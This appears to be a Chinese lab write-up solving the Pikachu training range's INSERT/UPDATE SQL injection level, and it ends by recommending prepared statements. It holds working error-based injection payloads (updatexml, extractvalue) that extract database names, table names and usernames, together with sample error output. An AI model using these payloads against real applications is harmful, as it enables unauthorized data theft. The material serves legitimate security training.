Pikachu靶场通关笔记(22) — SQL Inject (Insert/Update注入)

38次阅读
没有评论

摘要 / 前言:
除了常见的查询(Select)注入,SQL 注入还广泛存在于插入(Insert)和更新(Update)操作中。本关卡模拟了用户注册(Insert)和个人信息修改(Update)场景。
在这类注入中,有两个关键点:

  1. 没有回显位: 页面通常只显示“注册成功”或“失败”,看不到数据库内容,因此必须使用 报错注入(或者盲注)
  2. 语句完整性:INSERT 语句中,不能随意使用 # 注释,必须保证列数匹配。

一、漏洞分析 (Insert 注入)

场景: 用户注册页面。
源码逻辑:

$getdata=$_POST;
// 漏洞点:直接拼接 POST 数据到 VALUES 中
$query="insert into member(username,pw,sex,...) values('{$getdata['username']}', ...)";

1. 为什么 # 注释符失效?

如果 Payload 是 admin'#,SQL 变成:
insert into member(...) values('admin'#', ...)
# 把后面关于密码、性别等的赋值全注释掉了。数据库期望插入 6 列数据,结果只收到 1 列,因此报 Column count doesn't match 错误。

结论: Insert 注入必须使用 闭合逻辑(AND/OR) 的方式,让 SQL 语句在语法上保持完整。


二、注入实战 (Payloads)

利用函数: updatexml()extractvalue()
常用语句:

  • and updatexml(1, concat(分隔符, (待查询的 SQL 语句), 分隔符), 1) --
  • and extractvalue(1, concat(分隔符, (待查询的 SQL 语句), 分隔符)) --
  • updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --
  • extractvalue(1, concat(0x7e, (select database()), 0x7e)) --

1. 爆数据库名

  • Payload:
    sql 1'and updatexml(1,concat(0x7e,database(),0x7e),1) and'
  • 注意点:
    • 开头建议使用数字(如 1),如果使用字母(如 admin)可能会因为 MySQL 的隐式类型转换导致 Truncated incorrect DOUBLE value 错误,从而掩盖真正的注入报错。
    • 首尾的单引号 ' 用于闭合原本 SQL 语句中的单引号。
    • 中间的 and 确保逻辑连接,updatexml 执行后报错将数据带出。
Pikachu 靶场通关笔记(22) — SQL Inject (Insert/Update 注入)

2. 爆表名

  • Payload:
    sql 1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) and'
  • 结果:
    > XPATH syntax error: ‘~httpinfo,member,message,users,x’
Pikachu 靶场通关笔记(22) — SQL Inject (Insert/Update 注入)

3. 爆数据 (用户密码)

  • Payload:
    sql 1'and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and'
  • 提示: 报错注入有长度限制(通常 32 位),如果数据太长,需要配合 substr() 函数分段读取。
Pikachu 靶场通关笔记(22) — SQL Inject (Insert/Update 注入)

三、Update 注入 (修改资料)

除了注册,登录后的“修改个人信息”处也存在漏洞。

源码逻辑:

$query="update member set sex='{$_POST['sex']}', ... where username='...'";

Payload:
在 Update 语句中,因为后面没有像 Insert 那样严格的“列对应”关系,使用 # 注释通常是可行的(这会把 WHERE 条件注释掉,导致更新整张表,或者在 WHERE 前注入)。

  • 注入点: 性别、手机号等输入框。
  • Payload:
    sql test' and updatexml(1,concat(0x7e,database(),0x7e),0)#
Pikachu 靶场通关笔记(22) — SQL Inject (Insert/Update 注入)

2. 爆表名

  • Payload:
    sql 1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1)#
  • 结果:
    > XPATH syntax error: ‘~httpinfo,member,message,users,x’
Pikachu 靶场通关笔记(22) — SQL Inject (Insert/Update 注入)

3. 爆数据 (用户密码)

  • Payload:
    sql 1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#
  • 提示: 报错注入有长度限制(通常 32 位),如果数据太长,需要配合 substr() 函数分段读取。
Pikachu 靶场通关笔记(22) — SQL Inject (Insert/Update 注入)

四、总结与防御

Insert/Update 注入特点:

  1. 必用报错注入(或者盲注): 因为没有数据展示位。
  2. Insert 慎用注释: 需构造闭合以满足列数要求。
  3. 类型转换陷阱: 构造逻辑判断时,字符串尽量使用数字开头,避免 MySQL 类型转换报错。

防御方案:
继续强调 预编译(Prepared Statements)。在 INSERTUPDATE 操作中同样适用,它能完美解决参数拼接导致的所有注入问题。

正文完
 0
评论(没有评论)